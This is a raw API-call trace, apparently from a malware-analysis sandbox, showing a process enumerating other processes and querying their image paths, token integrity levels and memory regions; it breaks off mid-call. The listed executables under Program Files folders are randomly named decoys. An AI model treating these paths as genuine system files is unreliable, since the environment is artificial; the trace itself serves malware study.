[0095.059] QueryFullProcessImageNameW (in: hProcess=0x1b8, dwFlags=0x0, lpExeName=0x1527450, lpdwSize=0x119fa50 | out: lpExeName="C:\\Program Files\\Microsoft Synchronization Services\\discount-appearance.exe", lpdwSize=0x119fa50) returned 1 [0095.059] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x13757e0 [0095.059] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x13002b0) returned 1 [0095.059] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1527450) returned 1 [0095.059] IsWow64Process (in: hProcess=0xffffffff, Wow64Process=0x119fa24 | out: Wow64Process=0x119fa24) returned 1 [0095.059] IsWow64Process (in: hProcess=0x1b8, Wow64Process=0x119fa34 | out: Wow64Process=0x119fa34) returned 1 [0095.060] NtQueryInformationProcess (in: ProcessHandle=0x1b8, ProcessInformationClass=0x18, ProcessInformation=0x119fa30, ProcessInformationLength=0x4, ReturnLength=0x119fa34 | out: ProcessInformation=0x119fa30, ReturnLength=0x119fa34) returned 0x0 [0095.060] GetProcessTimes (in: hProcess=0x1b8, lpCreationTime=0x119fa50, lpExitTime=0x119fa58, lpKernelTime=0x119fa58, lpUserTime=0x119fa58 | out: lpCreationTime=0x119fa50, lpExitTime=0x119fa58, lpKernelTime=0x119fa58, lpUserTime=0x119fa58) returned 1 [0095.060] OpenProcessToken (in: ProcessHandle=0x1b8, DesiredAccess=0x8, TokenHandle=0x119fa24 | out: TokenHandle=0x119fa24*=0x2a0) returned 1 [0095.060] GetTokenInformation (in: TokenHandle=0x2a0, TokenInformationClass=0x19, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x119fa20 | out: TokenInformation=0x0, ReturnLength=0x119fa20) returned 0 [0095.060] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0xab0d00 [0095.060] GetTokenInformation (in: TokenHandle=0x2a0, TokenInformationClass=0x19, TokenInformation=0xab0d00, TokenInformationLength=0x14, ReturnLength=0x119fa20 | out: TokenInformation=0xab0d00, ReturnLength=0x119fa20) returned 1 [0095.060] GetSidSubAuthorityCount (pSid=0xab0d08*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x2000)) returned 0xab0d09 [0095.060] GetSidSubAuthority (pSid=0xab0d08*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x2000), nSubAuthority=0x0) returned 0xab0d10 [0095.061] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab0d00) returned 1 [0095.061] NtClose (Handle=0x2a0) returned 0x0 [0095.061] NtQueryVirtualMemory (in: ProcessHandle=0x1b8, Address=0x0, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xab0cb8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xab0cb8*(BaseAddress=0x0, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x10000, State=0x10000, Protect=0x1, Type=0x0), ResultLength=0x0) returned 0x0 [0095.061] NtQueryVirtualMemory (in: ProcessHandle=0x1b8, Address=0x10000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xab0cb8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xab0cb8*(BaseAddress=0x10000, AllocationBase=0x10000, AllocationProtect=0x4, RegionSize=0x10000, State=0x1000, Protect=0x4, Type=0x40000), ResultLength=0x0) returned 0x0 [0095.072] QueryFullProcessImageNameW (in: hProcess=0x1bc, dwFlags=0x0, lpExeName=0x1527450, lpdwSize=0x119fa50 | out: lpExeName="C:\\Program Files (x86)\\Windows NT\\paintball-indie-bailey.exe", lpdwSize=0x119fa50) returned 1 [0095.072] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1527450) returned 1 [0095.073] IsWow64Process (in: hProcess=0xffffffff, Wow64Process=0x119fa24 | out: Wow64Process=0x119fa24) returned 1 [0095.073] IsWow64Process (in: hProcess=0x1bc, Wow64Process=0x119fa34 | out: Wow64Process=0x119fa34) returned 1 [0095.073] NtQueryInformationProcess (in: ProcessHandle=0x1bc, ProcessInformationClass=0x18, ProcessInformation=0x119fa30, ProcessInformationLength=0x4, ReturnLength=0x119fa34 | out: ProcessInformation=0x119fa30, ReturnLength=0x119fa34) returned 0x0 [0095.073] GetProcessTimes (in: hProcess=0x1bc, lpCreationTime=0x119fa50, lpExitTime=0x119fa58, lpKernelTime=0x119fa58, lpUserTime=0x119fa58 | out: lpCreationTime=0x119fa50, lpExitTime=0x119fa58, lpKernelTime=0x119fa58, lpUserTime=0x119fa58) returned 1 [0095.073] OpenProcessToken (in: ProcessHandle=0x1bc, DesiredAccess=0x8, TokenHandle=0x119fa24 | out: TokenHandle=0x119fa24*=0x2a0) returned 1 [0095.073] GetTokenInformation (in: TokenHandle=0x2a0, TokenInformationClass=0x19, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x119fa20 | out: TokenInformation=0x0, ReturnLength=0x119fa20) returned 0 [0095.073] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0xab0d00 [0095.073] GetTokenInformation (in: TokenHandle=0x2a0, TokenInformationClass=0x19, TokenInformation=0xab0d00, TokenInformationLength=0x14, ReturnLength=0x119fa20 | out: TokenInformation=0xab0d00, ReturnLength=0x119fa20) returned 1 [0095.073] GetSidSubAuthorityCount (pSid=0xab0d08*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x2000)) returned 0xab0d09 [0095.073] GetSidSubAuthority (pSid=0xab0d08*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x2000), nSubAuthority=0x0) returned 0xab0d10 [0095.074] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab0d00) returned 1 [0095.074] NtClose (Handle=0x2a0) returned 0x0 [0095.074] NtQueryVirtualMemory (in: ProcessHandle=0x1bc, Address=0x0, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xab0cb8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xab0cb8*(BaseAddress=0x0, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x10000, State=0x10000, Protect=0x1, Type=0x0), ResultLength=0x0) returned 0x0 [0095.074] NtQueryVirtualMemory (in: ProcessHandle=0x1bc, Address=0x10000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xab0cb8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xab0cb8*(BaseAddress=0x10000, AllocationBase=0x10000, AllocationProtect=0x4, RegionSize=0x10000, State=0x1000, Protect=0x4, Type=0x40000), ResultLength=0x0) returned 0x0 [0095.086] QueryFullProcessImageNameW (in: hProcess=0x1c0, dwFlags=0x0, lpExeName=0x1527450, lpdwSize=0x119fa50 | out: lpExeName="C:\\Program Files\\Common Files\\kindsbradwindsor.exe", lpdwSize=0x119fa50) returned 1 [0095.087] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1527450) returned 1 [0095.087] IsWow64Process (in: hProcess=0xffffffff, Wow64Process=0x119fa24 | out: Wow64Process=0x119fa24) returned 1 [0095.087] IsWow64Process (in: hProcess=0x1c0, Wow64Process=0x119fa34 | out: Wow64Process=0x119fa34) returned 1 [0095.087] NtQueryInformationProcess (in: ProcessHandle=0x1c0, ProcessInformationClass=0x18, ProcessInformation=0x119fa30, ProcessInformationLength=0x4, ReturnLength=0x119fa34 | out: ProcessInformation=0x119fa30, ReturnLength=0x119fa34) returned 0x0 [0095.087] GetProcessTimes (in: hProcess=0x1c0, lpCreationTime=0x119fa50, lpExitTime=0x119fa58, lpKernelTime=0x119fa58, lpUserTime=0x119fa58 | out: lpCreationTime=0x119fa50, lpExitTime=0x119fa58, lpKernelTime=0x119fa58, lpUserTime=0x119fa58) returned 1 [0095.087] OpenProcessToken (in: ProcessHandle=0x1c0, DesiredAccess=0x8, TokenHandle=0x119fa24 | out: TokenHandle=0x119fa24*=0x2a0) returned 1 [0095.087] GetTokenInformation (in: TokenHandle=0x2a0, TokenInformationClass=0x19, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x119fa20 | out: TokenInformation=0x0, ReturnLength=0x119fa20) returned 0 [0095.087] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0xab0d00 [0095.088] GetTokenInformation (in: TokenHandle=0x2a0, TokenInformationClass=0x19, TokenInformation=0xab0d00, TokenInformationLength=0x14, ReturnLength=0x119fa20 | out: TokenInformation=0xab0d00, ReturnLength=0x119fa20) returned 1 [0095.088] GetSidSubAuthorityCount (pSid=0xab0d08*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x2000)) returned 0xab0d09 [0095.088] GetSidSubAuthority (pSid=0xab0d08*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x2000), nSubAuthority=0x0) returned 0xab0d10 [0095.089] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab0d00) returned 1 [0095.089] NtClose (Handle=0x2a0) returned 0x0 [0095.089] NtQueryVirtualMemory (in: ProcessHandle=0x1c0, Address=0x0, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xab0cb8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xab0cb8*(BaseAddress=0x0, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x10000, State=0x10000, Protect=0x1, Type=0x0), ResultLength=0x0) returned 0x0 [0095.089] NtQueryVirtualMemory (in: ProcessHandle=0x1c0, Address=0x10000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xab0cb8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xab0cb8*(BaseAddress=0x10000, AllocationBase=0x10000, AllocationProtect=0x4, RegionSize=0x10000, State=0x1000, Protect=0x4, Type=0x40000), ResultLength=0x0) returned 0x0 [0095.100] QueryFullProcessImageNameW (in: hProcess=0x1c4, dwFlags=0x0, lpExeName=0x1527450, lpdwSize=0x119fa50 | out: lpExeName="C:\\Program Files (x86)\\Microsoft Analysis Services\\threshold.exe", lpdwSize=0x119fa50) returned 1 [0095.100] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1375c00 [0095.101] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1300448) returned 1 [0095.101] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1527450) returned 1 [0095.101] IsWow64Process (in: hProcess=0xffffffff, Wow64Process=0x119fa24 | out: Wow64Process=0x119fa24) returned 1 [0095.101] IsWow64Process (in: hProcess=0x1c4, Wow64Process=0x119fa34 | out: Wow64Process=0x119fa34) returned 1 [0095.101] NtQueryInformationProcess (in: ProcessHandle=0x1c4, ProcessInformationClass=0x18, ProcessInformation=0x119fa30, ProcessInformationLength=0x4, ReturnLength=0x119fa34 | out: ProcessInformation=0x119fa30, ReturnLength=0x119fa34) returned 0x0 [0095.101] GetProcessTimes (in: hProcess=0x1c4, lpCreationTime=0x119fa50, lpExitTime=0x119fa58, lpKernelTime=0x119fa58, lpUserTime=0x119fa58 | out: lpCreationTime=0x119fa50, lpExitTime=0x119fa58, lpKernelTime=0x119fa58, lpUserTime=0x119fa58) returned 1 [0095.101] OpenProcessToken (in: ProcessHandle=0x1c4, DesiredAccess=0x8, TokenHandle=0x119fa24 | out: TokenHandle=0x119fa24*=0x2a0) returned 1 [0095.101] GetTokenInformation (in: TokenHandle=0x2a0, TokenInformationClass=0x19, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x119fa20 | out: TokenInformation=0x0, ReturnLength=0x119fa20) returned 0 [0095.101] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0xab0d00 [0095.101] GetTokenInformation (in: TokenHandle=0x2a0, TokenInformationClass=0x19, TokenInformation=0xab0d00, TokenInformationLength=0x14, ReturnLength=0x119fa20 | out: TokenInformation=0xab0d00, ReturnLength=0x119fa20) returned 1 [0095.101] GetSidSubAuthorityCount (pSid=0xab0d08*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x2000)) returned 0xab0d09 [0095.102] GetSidSubAuthority (pSid=0xab0d08*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x2000), nSubAuthority=0x0) returned 0xab0d10 [0095.102] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab0d00) returned 1 [0095.102] NtClose (Handle=0x2a0) returned 0x0 [0095.102] NtQueryVirtualMemory (in: ProcessHandle=0x1c4, Address=0x0, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xab0cb8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xab0cb8*(BaseAddress=0x0, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x10000, State=0x10000, Protect=0x1, Type=0x0), ResultLength=0x0) returned 0x0 [0095.102] NtQueryVirtualMemory (in: ProcessHandle=0x1c4, Address=0x10000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xab0cb8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xab0cb8*(BaseAddress=0x10000, AllocationBase=0x10000, AllocationProtect=0x4, RegionSize=0x10000, State=0x1000, Protect=0x4, Type=0x40000), ResultLength=0x0) returned 0x0 [0095.113] QueryFullProcessImageNameW (in: hProcess=0x1c8, dwFlags=0x0, lpExeName=0x1527450, lpdwSize=0x119fa50 | out: lpExeName="C:\\Program Files (x86)\\MSBuild\\configurations.exe", lpdwSize=0x119fa50) returned 1 [0095.114] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1527450) returned 1 [0095.114] IsWow64Process (in: hProcess=0xffffffff, Wow64Process=0x119fa24 | out: Wow64Process=0x119fa24) returned 1 [0095.114] IsWow64Process (in: hProcess=0x1c8, Wow64Process=0x119fa34 | out: Wow64Process=0x119fa34) returned 1 [0095.114] NtQueryInformationProcess (in: ProcessHandle=0x1c8, ProcessInformationClass=0x18, ProcessInformation=0x119fa30, ProcessInformationLength=0x4, ReturnLength=0x119fa34 | out: ProcessInformation=0x119fa30, ReturnLength=0x119fa34) returned 0x0 [0095.114] GetProcessTimes (in: hProcess=0x1c8, lpCreationTime=0x119fa50, lpExitTime=0x119fa58, lpKernelTime=0x119fa58, lpUserTime=0x119fa58 | out: lpCreationTime=0x119fa50, lpExitTime=0x119fa58, lpKernelTime=0x119fa58, lpUserTime=0x119fa58) returned 1 [0095.114] OpenProcessToken (in: ProcessHandle=0x1c8, DesiredAccess=0x8, TokenHandle=0x119fa24 | out: TokenHandle=0x119fa24*=0x2a0) returned 1 [0095.114] GetTokenInformation (in: TokenHandle=0x2a0, TokenInformationClass=0x19, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x119fa20 | out: TokenInformation=0x0, ReturnLength=0x119fa20) returned 0 [0095.114] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0xab0d00 [0095.114] GetTokenInformation (in: TokenHandle=0x2a0, TokenInformationClass=0x19, TokenInformation=0xab0d00, TokenInformationLength=0x14, ReturnLength=0x119fa20 | out: TokenInformation=0xab0d00, ReturnLength=0x119fa20) returned 1 [0095.114] GetSidSubAuthorityCount (pSid=0xab0d08*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x2000)) returned 0xab0d09 [0095.114] GetSidSubAuthority (pSid=0xab0d08*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x2000), nSubAuthority=0x0) returned 0xab0d10 [0095.115] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab0d00) returned 1 [0095.115] NtClose (Handle=0x2a0) returned 0x0 [0095.115] NtQueryVirtualMemory (in: ProcessHandle=0x1c8, Address=0x0, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xab0cb8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xab0cb8*(BaseAddress=0x0, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x10000, State=0x10000, Protect=0x1, Type=0x0), ResultLength=0x0) returned 0x0 [0095.115] NtQueryVirtualMemory (in: ProcessHandle=0x1c8, Address=0x10000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xab0cb8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xab0cb8*(BaseAddress=0x10000, AllocationBase=0x10000, AllocationProtect=0x4, RegionSize=0x10000, State=0x1000, Protect=0x4, Type=0x40000), ResultLength=0x0) returned 0x0 [0095.127] QueryFullProcessImageNameW (in: hProcess=0x1cc, dwFlags=0x0, lpExeName=0x1527450, lpdwSize=0x119fa50 | out: lpExeName="C:\\Program Files\\Windows Defender\\stick-hotels.exe", lpdwSize=0x119fa50) returned 1 [0095.127] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1527450) returned 1 [0095.127] IsWow64Process (in: hProcess=0xffffffff, Wow64Process=0x119fa24 | out: Wow64Process=0x119fa24) returned 1 [0095.127] IsWow64Process (in: hProcess=0x1cc, Wow64Process=0x119fa34 | out: Wow64Process=0x119fa34) returned 1 [0095.127] NtQueryInformationProcess (in: ProcessHandle=0x1cc, ProcessInformationClass=0x18, ProcessInformation=0x119fa30, ProcessInformationLength=0x4, ReturnLength=0x119fa34 | out: ProcessInformation=0x119fa30, ReturnLength=0x119fa34) returned 0x0 [0095.127] GetProcessTimes (in: hProcess=0x1cc, lpCreationTime=0x119fa50, lpExitTime=0x119fa58, lpKernelTime=0x119fa58, lpUserTime=0x119fa58 | out: lpCreationTime=0x119fa50, lpExitTime=0x119fa58, lpKernelTime=0x119fa58, lpUserTime=0x119fa58) returned 1 [0095.127] OpenProcessToken (in: ProcessHandle=0x1cc, DesiredAccess=0x8, TokenHandle=0x119fa24 | out: TokenHandle=0x119fa24*=0x2a0) returned 1 [0095.128] GetTokenInformation (in: TokenHandle=0x2a0, TokenInformationClass=0x19, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x119fa20 | out: TokenInformation=0x0, ReturnLength=0x119fa20) returned 0 [0095.128] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0xab0d00 [0095.128] GetTokenInformation (in: TokenHandle=0x2a0, TokenInformationClass=0x19, TokenInformation=0xab0d00, TokenInformationLength=0x14, ReturnLength=0x119fa20 | out: TokenInformation=0xab0d00, ReturnLength=0x119fa20) returned 1 [0095.128] GetSidSubAuthorityCount (pSid=0xab0d08*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x2000)) returned 0xab0d09 [0095.128] GetSidSubAuthority (pSid=0xab0d08*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x2000), nSubAuthority=0x0) returned 0xab0d10 [0095.129] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab0d00) returned 1 [0095.129] NtClose (Handle=0x2a0) returned 0x0 [0095.129] NtQueryVirtualMemory (in: ProcessHandle=0x1cc, Address=0x0, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xab0cb8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xab0cb8*(BaseAddress=0x0, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x10000, State=0x10000, Protect=0x1, Type=0x0), ResultLength=0x0) returned 0x0 [0095.129] NtQueryVirtualMemory (in: ProcessHandle=0x1cc, Address=0x10000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xab0cb8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xab0cb8*(BaseAddress=0x10000, AllocationBase=0x10000, AllocationProtect=0x4, RegionSize=0x10000, State=0x1000, Protect=0x4, Type=0x40000), ResultLength=0x0) returned 0x0 [0095.141] QueryFullProcessImageNameW (in: hProcess=0x1d0, dwFlags=0x0, lpExeName=0xa447e8, lpdwSize=0x119fa50 | out: lpExeName="C:\\Program Files (x86)\\Internet Explorer\\babe_enormous.exe", lpdwSize=0x119fa50) returned 1 [0095.141] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa447e8) returned 1 [0095.141] IsWow64Process (in: hProcess=0xffffffff, Wow64Process=0x119fa24 | out: Wow64Process=0x119fa24) returned 1 [0095.141] IsWow64Process (in: hProcess=0x1d0, Wow64Process=0x119fa34 | out: Wow64Process=0x119fa34) returned 1 [0095.141] NtQueryInformationProcess (in: ProcessHandle=0x1d0, ProcessInformationClass=0x18, ProcessInformation=0x119fa30, ProcessInformationLength=0x4, ReturnLength=0x119fa34 | out: ProcessInformation=0x119fa30, ReturnLength=0x119fa34) returned 0x0 [0095.141] GetProcessTimes (in: hProcess=0x1d0, lpCreationTime=0x119fa50, lpExitTime=0x119fa58, lpKernelTime=0x119fa58, lpUserTime=0x119fa58 | out: lpCreationTime=0x119fa50, lpExitTime=0x119fa58, lpKernelTime=0x119fa58, lpUserTime=0x119fa58) returned 1 [0095.142] OpenProcessToken (in: ProcessHandle=0x1d0, DesiredAccess=0x8, TokenHandle=0x119fa24 | out: TokenHandle=0x119fa24*=0x2a0) returned 1 [0095.142] GetTokenInformation (in: TokenHandle=0x2a0, TokenInformationClass=0x19, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x119fa20 | out: TokenInformation=0x0, ReturnLength=0x119fa20) returned 0 [0095.142] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0xab0d00 [0095.142] GetTokenInformation (in: TokenHandle=0x2a0, TokenInformationClass=0x19, TokenInformation=0xab0d00, TokenInformationLength=0x14, ReturnLength=0x119fa20 | out: TokenInformation=0xab0d00, ReturnLength=0x119fa20) returned 1 [0095.142] GetSidSubAuthorityCount (pSid=0xab0d08*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x2000)) returned 0xab0d09 [0095.142] GetSidSubAuthority (pSid=0xab0d08*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x2000), nSubAuthority=0x0) returned 0xab0d10 [0095.143] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab0d00) returned 1 [0095.143] NtClose (Handle=0x2a0) returned 0x0 [0095.143] NtQueryVirtualMemory (in: ProcessHandle=0x1d0, Address=0x0, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xab0cb8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xab0cb8*(BaseAddress=0x0, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x10000, State=0x10000, Protect=0x1, Type=0x0), ResultLength=0x0) returned 0x0 [0095.143] NtQueryVirtualMemory (in: ProcessHandle=0x1d0, Address=0x10000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xab0cb8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xab0cb8*(BaseAddress=0x10000, AllocationBase=0x10000, AllocationProtect=0x4, RegionSize=0x10000, State=0x1000, Protect=0x4, Type=0x40000), ResultLength=0x0) returned 0x0 [0095.154] QueryFullProcessImageNameW (in: hProcess=0x1d4, dwFlags=0x0, lpExeName=0xa44868, lpdwSize=0x119fa50 | out: lpExeName="C:\\Program Files\\Microsoft Office\\hide-mesa.exe", lpdwSize=0x119fa50) returned 1 [0095.155] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa44868) returned 1 [0095.155] IsWow64Process (in: hProcess=0xffffffff, Wow64Process=0x119fa24 | out: Wow64Process=0x119fa24) returned 1 [0095.155] IsWow64Process (in: hProcess=0x1d4, Wow64Process=0x119fa34 | out: Wow64Process=0x119fa34) returned 1 [0095.155] NtQueryInformationProcess (in: ProcessHandle=0x1d4, ProcessInformationClass=0x18, ProcessInformation=0x119fa30, ProcessInformationLength=0x4, ReturnLength=0x119fa34 | out: ProcessInformation=0x119fa30, ReturnLength=0x119fa34) returned 0x0 [0095.155] GetProcessTimes (in: hProcess=0x1d4, lpCreationTime=0x119fa50, lpExitTime=0x119fa58, lpKernelTime=0x119fa58, lpUserTime=0x119fa58 | out: lpCreationTime=0x119fa50, lpExitTime=0x119fa58, lpKernelTime=0x119fa58, lpUserTime=0x119fa58) returned 1 [0095.155] OpenProcessToken (in: ProcessHandle=0x1d4, DesiredAccess=0x8, TokenHandle=0x119fa24 | out: TokenHandle=0x119fa24*=0x2a0) returned 1 [0095.155] GetTokenInformation (in: TokenHandle=0x2a0, TokenInformationClass=0x19, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x119fa20 | out: TokenInformation=0x0, ReturnLength=0x119fa20) returned 0 [0095.155] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0xab0d00 [0095.156] GetTokenInformation (in: TokenHandle=0x2a0, TokenInformationClass=0x19, TokenInformation=0xab0d00, TokenInformationLength=0x14, ReturnLength=0x119fa20 | out: TokenInformation=0xab0d00, ReturnLength=0x119fa20) returned 1 [0095.156] GetSidSubAuthorityCount (pSid=0xab0d08*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x2000)) returned 0xab0d09 [0095.156] GetSidSubAuthority (pSid=0xab0d08*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x2000), nSubAuthority=0x0) returned 0xab0d10 [0095.156] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab0d00) returned 1 [0095.156] NtClose (Handle=0x2a0) returned 0x0 [0095.156] NtQueryVirtualMemory (in: ProcessHandle=0x1d4, Address=0x0, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xab0cb8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xab0cb8*(BaseAddress=0x0, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x10000, State=0x10000, Protect=0x1, Type=0x0), ResultLength=0x0) returned 0x0 [0095.157] NtQueryVirtualMemory (in: ProcessHandle=0x1d4, Address=0x10000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xab0cb8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xab0cb8*(BaseAddress=0x10000, AllocationBase=0x10000, AllocationProtect=0x4, RegionSize=0x10000, State=0x1000, Protect=0x4, Type=0x40000), ResultLength=0x0) returned 0x0 [0095.169] QueryFullProcessImageNameW (in: hProcess=0x1d8, dwFlags=0x0, lpExeName=0x1527450, lpdwSize=0x119fa50 | out: lpExeName="C:\\Program Files\\Windows Defender\\quantitative.exe", lpdwSize=0x119fa50) returned 1 [0095.169] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1527450) returned 1 [0095.169] IsWow64Process (in: hProcess=0xffffffff, Wow64Process=0x119fa24 | out: Wow64Process=0x119fa24) returned 1 [0095.169] IsWow64Process (in: hProcess=0x1d8, Wow64Process=0x119fa34 | out: Wow64Process=0x119fa34) returned 1 [0095.169] NtQueryInformationProcess (in: ProcessHandle=0x1d8, ProcessInformationClass=0x18, ProcessInformation=0x119fa30, ProcessInformationLength=0x4, ReturnLength=0x119fa34 | out: ProcessInformation=0x119fa30, ReturnLength=0x119fa34) returned 0x0 [0095.169] GetProcessTimes (in: hProcess=0x1d8, lpCreationTime=0x119fa50, lpExitTime=0x119fa58, lpKernelTime=0x119fa58, lpUserTime=0x119fa58 | out: lpCreationTime=0x119fa50, lpExitTime=0x119fa58, lpKernelTime=0x119fa58, lpUserTime=0x119fa58) returned 1 [0095.170] OpenProcessToken (in: ProcessHandle=0x1d8, DesiredAccess=0x8, TokenHandle=0x119fa24 | out: TokenHandle=0x119fa24*=0x2a0) returned 1 [0095.170] GetTokenInformation (in: TokenHandle=0x2a0, TokenInformationClass=0x19, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x119fa20 | out: TokenInformation=0x0, ReturnLength=0x119fa20) returned 0 [0095.170] RtlAllocateHeap 